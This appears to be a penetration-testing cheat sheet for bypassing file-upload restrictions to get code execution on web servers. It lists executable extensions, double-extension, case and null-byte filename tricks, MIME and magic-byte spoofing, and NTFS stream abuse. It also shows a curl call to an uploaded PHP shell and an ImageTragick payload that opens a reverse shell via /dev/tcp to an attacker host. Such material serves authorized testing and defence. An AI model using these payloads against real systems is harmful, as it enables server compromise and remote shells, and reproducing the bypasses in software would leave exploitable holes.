Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.




PHP Extension

  • Default PHP extensions
  • Less known extensions
  • Double extensions

Other extensions

  • asp : .asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0)
  • perl: .pl, .pm, .cgi, .lib
  • jsp : .jsp, .jspx, .jsw, .jsv, .jspf
  • Coldfusion: .cfm, .cfml, .cfc, .dbm

Upload tricks

  • Use double extensions : .jpg.php

  • Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): .php.jpg

  • Mix uppercase and lowercase : .pHp, .pHP5, .PhAr

  • Null byte (works well against pathinfo())

    • .php%00.gif
    • .php\x00.gif
    • .php%00.png
    • .php\x00.png
    • .php%00.jpg
    • .php\x00.jpg
  • Special characters

    • file.php...... (In Windows when a file is created with dots at the end those will be removed)
    • file.php%20
  • Mime type, change Content-Type : application/x-php or Content-Type : application/octet-stream to Content-Type : image/gif

    • Content-Type : image/gif
    • Content-Type : image/png
    • Content-Type : image/jpeg
  • Magic Bytes

    • Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.
  • Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "file.asax:.jpg"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "file.asp::$data.")

Picture upload with LFI

Valid pictures hosting PHP code. Upload the picture and use a local file inclusion to execute the code. The shell can be called with the following command : curl 'http://localhost/test.php?0=system' --data "1='ls'".

  • Picture Metadata, hide the payload inside a comment tag in the metadata.
  • Picture Resize, hide the payload within the compression algorithm in order to bypass a resize. Also defeating getimagesize() and imagecreatefromgif().

Configuration Files

If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code. If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.

Configuration files examples

  • .htaccess
  • web.config
  • httpd.conf
  • __init__.py

CVE - Image Tragik

Upload this content with an image extension to exploit the vulnerability (ImageMagick , 7.0.1-1)

push graphic-context
viewbox 0 0 640 480
fill 'url("|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

More payload in the folder Picture Image Magik

ZIP archive

When a ZIP/archive file is automatically decompressed after the upload

  • Zip Slip: directory traversal to write a file somewhere else